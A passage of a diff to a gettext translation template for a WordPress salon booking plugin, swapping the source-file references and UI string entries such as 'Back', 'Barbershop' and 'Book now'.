System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:157\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:173\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:230\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:147\n+msgid \"Back\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:595, views\u002Fadmin\u002F_booking_status_summary.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:595, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:595, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:595, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:23\n-msgid \"Paid\u002FConfirmed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:10\n+msgid \"Back-end calendar\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:598, views\u002Fadmin\u002F_booking_status_summary.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:598, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:598, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:598, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:598, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:598, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26\n-msgid \"Pay Later\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:104\n+msgid \"Background color\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:604, views\u002Fadmin\u002F_booking_status_summary.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:604, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:604, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:604, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:32\n-msgid \"Cancelled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fsettings.php:18\n+msgid \"BANCONTACT\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:607, views\u002Fadmin\u002F_booking_status_summary.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:607, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:607, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:35\n-msgid \"No Show\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:6\n+msgid \"Barbershop\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:517\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:517\n+msgid \"Basic\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php:57\n+msgid \"Basic (checks only the booking date)\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:613, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:613, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:613\n-msgid \"Booking Status Chart\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:8\n+msgid \"Beauty Salon\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:634, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:634, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:634\n-msgid \"We are loading your appointments..\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:333\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:333\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:166\n+msgid \"Before the appointment\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:647, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:647, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:647\n-msgid \"We are processing your request..\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:105\n+msgid \"belong to the same category\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:652, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:652, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:652\n-msgid \"Booking Saved\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:151\n+msgid \"BEST PERFORMANCE\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:669, views\u002Fadmin\u002F_customer.php:430, views\u002Fmetabox\u002Fbooking.php:1020, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:669, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:430, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1020, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:669, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:430, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1020, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:669, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:320, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:903, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:669, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1019, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:669, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1020\n-msgid \"Save\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fshortcode.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fshortcode.php:6\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:50\n+msgid \"Book an appointment\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:671, views\u002Fmetabox\u002Fbooking.php:1023, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:671, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1023, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:671, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1023, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:671, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:906, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:671, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1022, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:671, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1023\n-msgid \"Clone this booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_assistant.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:84\n+msgid \"Book now\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:673, views\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1024, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1025\n-msgid \"times\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:873\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:67\n+msgid \"Booked services\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:675, views\u002Fmetabox\u002Fbooking.php:1027, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:675, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1027, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:675, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1027, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:910, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1026, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:675, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1027\n-msgid \"every week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:670\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:873\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:670\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:873\n+msgid \"Booking\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:676, views\u002Fmetabox\u002Fbooking.php:1028, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:676, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1028, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:676, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1028, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:676, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:911, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:676, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1027, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:676, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1028\n-msgid \"every two weeks\"\n+#. %1$s will be replaced by the booking ID, %2$s will be replaced by the username\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fsummary_admin.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fsummary.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary.php:40\n+#, php-format\n+msgid \"Booking #%1$s has been re-scheduled by %2$s\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:677, views\u002Fmetabox\u002Fbooking.php:1029, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:677, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1029, 